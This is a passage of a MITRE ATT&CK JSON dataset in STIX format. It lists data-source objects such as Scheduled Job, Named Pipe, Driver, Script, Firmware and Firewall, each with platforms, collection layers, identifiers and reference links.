OSX)","x_mitre_platforms":["Containers","Linux","Network","Windows","macOS","Android","iOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","mobile-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Center for Threat-Informed Defense (CTID)","Austin Clark, @c2defense"],"x_mitre_collection_layers":["Container","Host"],"type":"x-mitre-data-source","id":"x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0017","external_id":"DS0017"},{"source_name":"Confluence Linux Command Line","description":"Confluence Support. (2021, September 8). How to enable command line audit logging in linux. Retrieved September 23, 2021.","url":"https://confluence.atlassian.com/confkb/how-to-enable-command-line-audit-logging-in-linux-956166545.html"},{"source_name":"Audit OSX","description":"Gagliardi, R. (n.d.). Audit in a OS X System. Retrieved September 23, 2021.","url":"https://www.scip.ch/en/?labs.20150108"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Cloud Control Plane"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0010","external_id":"DS0010"},{"source_name":"Amazon S3","description":"Amazon. (n.d.). Amazon S3. Retrieved October 13, 2021.","url":"https://aws.amazon.com/s3/"},{"source_name":"Azure Blob Storage","description":"Microsoft. (n.d.). Azure Blob Storage. Retrieved October 13, 2021.","url":"https://azure.microsoft.com/en-us/services/storage/blobs/"},{"source_name":"Google Cloud Storage","description":"Google. (n.d.). Cloud Storage. Retrieved October 13, 2021.","url":"https://cloud.google.com/storage"}],"modified":"2021-11-10T09:30:48.694Z","name":"Cloud Storage","description":"Data object storage infrastructure hosted on-premise or by third-party providers, made available to users through network connections and/or APIs(Citation: Amazon S3)(Citation: Azure Blob Storage)(Citation: Google Cloud Storage)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Containers","Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Container","Host"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0003","external_id":"DS0003"},{"source_name":"Microsoft Tasks","description":"Microsoft. (2018, May 31). Tasks. Retrieved September 28, 2021.","url":"https://docs.microsoft.com/en-us/windows/win32/taskschd/tasks"}],"modified":"2022-03-30T14:26:51.806Z","name":"Scheduled Job","description":"Automated tasks that can be executed at a specific time or on a recurring schedule running in the background (ex: Cron daemon, task scheduler, BITS)(Citation: Microsoft Tasks)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Active Directory","description":"A database and set of services that allows administrators to manage permissions, access to network resources, and stored data objects (user, group, application, or devices)(Citation: Microsoft AD DS Getting Started)","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","Identity Provider"],"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Cloud Control Plane","Host"],"type":"x-mitre-data-source","id":"x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0026","external_id":"DS0026"},{"source_name":"Microsoft AD DS Getting Started","description":"Foulds, I. et al. (2018, August 7). AD DS Getting Started. Retrieved September 23, 2021.","url":"https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/ad-ds-getting-started"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"x_mitre_platforms":["Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Container"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--072ec5a7-00ba-466f-9057-69751a22a967","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0032","external_id":"DS0032"},{"source_name":"Docker Docs Container","description":"docker docs. (n.d.). Containers. Retrieved October 13, 2021.","url":"https://docs.docker.com/engine/api/v1.41/#tag/Container"}],"modified":"2021-11-10T09:30:48.694Z","name":"Container","description":"A standard unit of virtualized software that packages up code and all its dependencies so the application runs quickly and reliably from one computing environment to another(Citation: Docker Docs Container)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Host"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--221adcd5-cccf-44df-9be6-ef607a6e1c3c","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0023","external_id":"DS0023"},{"source_name":"Microsoft Named Pipes","description":"Microsoft. (2018, May 31). Named Pipes. Retrieved September 28, 2021.","url":"https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipes"}],"modified":"2022-03-30T14:26:51.806Z","name":"Named Pipe","description":"Mechanisms that allow inter-process communication locally or over the network. A named pipe is usually found as a file and processes attach to it(Citation: Microsoft Named Pipes)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Host"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--f424e4b4-a8a4-4c58-a4ae-4f53bfd08563","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0011","external_id":"DS0011"},{"source_name":"Microsoft LoadLibrary","description":"Microsoft. (2018, December 5). LoadLibraryA function (libloaderapi.h). Retrieved September 28, 2021.","url":"https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya"},{"source_name":"Microsoft Module Class","description":"Microsoft. (n.d.). Module Class. Retrieved September 28, 2021.","url":"https://docs.microsoft.com/en-us/dotnet/api/system.reflection.module"}],"modified":"2022-03-30T14:26:51.806Z","name":"Module","description":"Executable files consisting of one or more shared classes and interfaces, such as portable executable (PE) format binaries/dynamic link libraries (DLL), executable and linkable format (ELF) binaries/shared libraries, and Mach-O format binaries/shared libraries(Citation: Microsoft LoadLibrary)(Citation: Microsoft Module Class)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Host"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--9ec8c0d7-6137-456f-b829-c5f8b96ba054","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0027","external_id":"DS0027"},{"source_name":"IOKit Fundamentals","description":"Apple. (2014, April 9). What Is the I/O Kit?. Retrieved September 24, 2021.","url":"https://developer.apple.com/library/archive/documentation/DeviceDrivers/Conceptual/IOKitFundamentals/Features/Features.html"},{"source_name":"Windows Getting Started Drivers","description":"Viviano, A. (2021, August 17). Getting started with Windows drivers: User mode and kernel mode. Retrieved September 24, 2021.","url":"https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/user-mode-and-kernel-mode"}],"modified":"2022-03-30T14:26:51.805Z","name":"Driver","description":"A computer program that operates or controls a particular type of device that is attached to a computer. Provides a software interface to hardware devices, enabling operating systems and other computer programs to access hardware functions without needing to know precise details about the hardware being used(Citation: IOKit Fundamentals)(Citation: Windows Getting Started Drivers)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Host"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0016","external_id":"DS0016"},{"source_name":"Sysmon EID 9","description":"Russinovich, R. & Garnier, T. (2021, August 18). Sysmon Event ID 9. Retrieved September 24, 2021.","url":"https://docs.microsoft.com/sysinternals/downloads/sysmon#event-id-9-rawaccessread"}],"modified":"2022-03-30T14:26:51.804Z","name":"Drive","description":"A non-volatile data storage device (hard drive, floppy disk, USB flash drive) with at least one formatted partition, typically mounted to the file system and/or assigned a drive letter(Citation: Sysmon EID 9)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Application Log","description":"Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)(Citation: Confluence Logs)","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["IaaS","Linux","SaaS","Windows","macOS","Office Suite"],"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_collection_layers":["Cloud Control Plane","Host"],"type":"x-mitre-data-source","id":"x-mitre-data-source--40269753-26bd-437b-986e-159c66dec5e4","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0015","external_id":"DS0015"},{"source_name":"Confluence Logs","description":"Confluence Support. (2021, April 22). Working with Confluence Logs. Retrieved September 23, 2021.","url":"https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2022-12-07T19:50:56.964Z","name":"Script","description":"A file or stream containing a list of commands, allowing them to be launched in sequence(Citation: Microsoft PowerShell Logging)(Citation: FireEye PowerShell Logging)(Citation: Microsoft AMSI)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Host"],"type":"x-mitre-data-source","id":"x-mitre-data-source--12c1e727-7fa4-49b6-af81-366ed2ce231e","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0012","external_id":"DS0012"},{"source_name":"FireEye PowerShell Logging","description":"Dunwoody, M. (2016, February 11). Greater Visibility Through PowerShell Logging. Retrieved September 28, 2021.","url":"https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html"},{"source_name":"Microsoft AMSI","description":"Microsoft. (2019, April 19). Antimalware Scan Interface (AMSI). Retrieved September 28, 2021.","url":"https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal"},{"source_name":"Microsoft PowerShell Logging","description":"Microsoft. (2020, March 30). about_Logging_Windows. Retrieved September 28, 2021.","url":"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_collection_layers":["OSINT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--29aa4e0e-4a26-4f79-a9bc-1ae66df1c923","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0037","external_id":"DS0037"}],"modified":"2021-10-20T15:05:19.275Z","name":"Certificate","description":"A digital document, which highlights information such as the owner's identity, used to instill trust in public keys used while encrypting network communications","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Host"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--ca1cb239-ff6d-4f64-b9d7-41c8556a8b4f","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.265Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0001","external_id":"DS0001"}],"modified":"2022-03-30T14:26:51.805Z","name":"Firmware","description":"Computer software that provides low-level control for the hardware and device(s) of a host, such as BIOS or UEFI/EFI","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Cloud Control Plane"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0020","external_id":"DS0020"},{"source_name":"Microsoft Snapshot","description":"Microsoft. (2021, September 16). Create a snapshot of a virtual hard disk. Retrieved October 13, 2021.","url":"https://docs.microsoft.com/en-us/azure/virtual-machines/linux/snapshot-copy-managed-disk"},{"source_name":"Amazon Snapshots","description":"Amazon. (n.d.). Amazon EBS snapshots. Retrieved October 13, 2021.","url":"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSSnapshots.html"}],"modified":"2021-11-10T09:30:48.698Z","name":"Snapshot","description":"A point-in-time copy of cloud volumes (files, settings, etc.) that can be created and/or deployed in cloud environments(Citation: Microsoft Snapshot)(Citation: Amazon Snapshots)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Cloud Service","description":"Infrastructure, platforms, or software that are hosted on-premise or by third-party providers, made available to users through network connections and/or APIs(Citation: Amazon AWS)(Citation: Azure Products)","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["IaaS","SaaS","Office Suite","Identity Provider"],"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Cloud Control Plane"],"type":"x-mitre-data-source","id":"x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0025","external_id":"DS0025"},{"source_name":"Amazon AWS","description":"Amazon. (n.d.). Start Building on AWS Today. Retrieved October 13, 2021.","url":"https://aws.amazon.com"},{"source_name":"Azure Products","description":"Microsoft. (n.d.). Azure products. Retrieved October 13, 2021.","url":"https://azure.microsoft.com/en-us/services/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-10-14T22:11:30.271Z","name":"Group","description":"A collection of multiple user accounts that share the same access rights to the computer and/or network resources and have common security rights(Citation: Amazon IAM Groups)","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["IaaS","SaaS","Windows","Office Suite","Identity Provider"],"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Cloud Control Plane","Host"],"type":"x-mitre-data-source","id":"x-mitre-data-source--3c07684f-3794-4536-8f70-21efe700c0ec","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0036","external_id":"DS0036"},{"source_name":"Amazon IAM Groups","description":"Amazon. (n.d.). IAM user groups. Retrieved October 13, 2021.","url":"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Cloud Control Plane"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0007","external_id":"DS0007"},{"source_name":"Microsoft Image","description":"Microsoft. (2021, August 23). Create a managed image of a generalized VM in Azure. Retrieved October 13, 2021.","url":"https://docs.microsoft.com/en-us/azure/virtual-machines/windows/capture-image-resource"},{"source_name":"Amazon AMI","description":"Amazon. (n.d.). Amazon Machine Images (AMI). Retrieved October 13, 2021.","url":"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html"}],"modified":"2021-11-10T09:30:48.696Z","name":"Image","description":"A single file used to deploy a virtual machine/bootable disk into an on-premise or third-party cloud environment(Citation: Microsoft Image)(Citation: Amazon AMI)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-12-07T19:49:46.256Z","name":"Malware Repository","description":"Information obtained (via shared or submitted samples) regarding malicious software (droppers, backdoors, etc.) used by adversaries","x_mitre_platforms":["PRE"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_collection_layers":["OSINT"],"type":"x-mitre-data-source","id":"x-mitre-data-source--b86d9b40-5fbe-4ef1-8dc3-263eff26f495","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0004","external_id":"DS0004"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-20T18:38:40.409Z","name":"Sensor Health","description":"Information from host telemetry providing insights about system status, errors, or other notable functional activity","x_mitre_platforms":["Linux","Windows","macOS","Android","iOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","mobile-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Host"],"type":"x-mitre-data-source","id":"x-mitre-data-source--4523e7f3-8de2-4078-96f8-1227eb537159","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0013","external_id":"DS0013"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Host"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--ba27545a-9c32-47ea-ba6a-cce50f1b326e","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0033","external_id":"DS0033"},{"source_name":"Microsoft NFS Overview","description":"Microsoft. (2018, July 9). Network File System overview. Retrieved September 28, 2021.","url":"https://docs.microsoft.com/en-us/windows-server/storage/nfs/nfs-overview"}],"modified":"2022-03-30T14:26:51.806Z","name":"Network Share","description":"A storage resource (typically a folder or drive) made available from one host to others using network protocols, such as Server Message Block (SMB) or Network File System (NFS)(Citation: Microsoft NFS Overview)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Host"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--2cd6cc81-d86e-4595-a4f0-43f5519f14e6","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0005","external_id":"DS0005"},{"source_name":"Microsoft WMI System Classes","description":"Microsoft. (2018, May 31). WMI System Classes. Retrieved September 29, 2021.","url":"https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-system-classes"},{"source_name":"Microsoft WMI Architecture","description":"Microsoft. (2018, May 31). WMI Architecture. Retrieved September 29, 2021.","url":"https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-architecture"}],"modified":"2021-11-10T09:30:48.699Z","name":"WMI","description":"The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers(Citation: Microsoft WMI System Classes)(Citation: Microsoft WMI Architecture)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_collection_layers":["OSINT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0038","external_id":"DS0038"}],"modified":"2021-10-20T15:05:19.275Z","name":"Domain Name","description":"Information obtained (commonly through registration or activity logs) regarding one or more IP addresses registered with human readable names (ex: mitre.org)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Host"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--8765a845-dea1-4cd1-a56f-f54939b7ab9e","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0008","external_id":"DS0008"},{"source_name":"STIG Audit Kernel Modules","description":"Unified Compliance Framework. (2016, December 20). The audit system must be configured to audit the loading and unloading of dynamic kernel modules.. Retrieved September 28, 2021.","url":"https://www.stigviewer.com/stig/oracle_linux_5/2016-12-20/finding/V-22383"},{"source_name":"Init Man Page","description":"Kerrisk, M. (2021, March 22). INIT_MODULE(2). Retrieved September 28, 2021.","url":"https://man7.org/linux/man-pages/man2/init_module.2.html"}],"modified":"2021-11-10T09:30:48.696Z","name":"Kernel","description":"A computer program, at the core of a computer OS, that resides in memory and facilitates interactions between hardware and software components(Citation: STIG Audit Kernel Modules)(Citation: Init Man Page)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_collection_layers":["OSINT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-source--3bef4799-906c-409c-ac00-3fb7a1e352e6","type":"x-mitre-data-source","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/datasources/DS0021","external_id":"DS0021"}],"modified":"2021-10-20T15:05:19.273Z","name":"Persona","description":"A malicious online profile representing a user commonly used by adversaries to social engineer or otherwise target victims","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Firewall","description":"A network security system, running locally on an endpoint or remotely as a service (ex: cloud environment), that monitors and controls incoming/outgoing network traffic based on predefined rules(Citation: AWS Sec Groups VPC)","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["IaaS","Linux","SaaS","Windows","macOS","Office Suite","Identity Provider"],"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_collection_layers":["Cloud Control 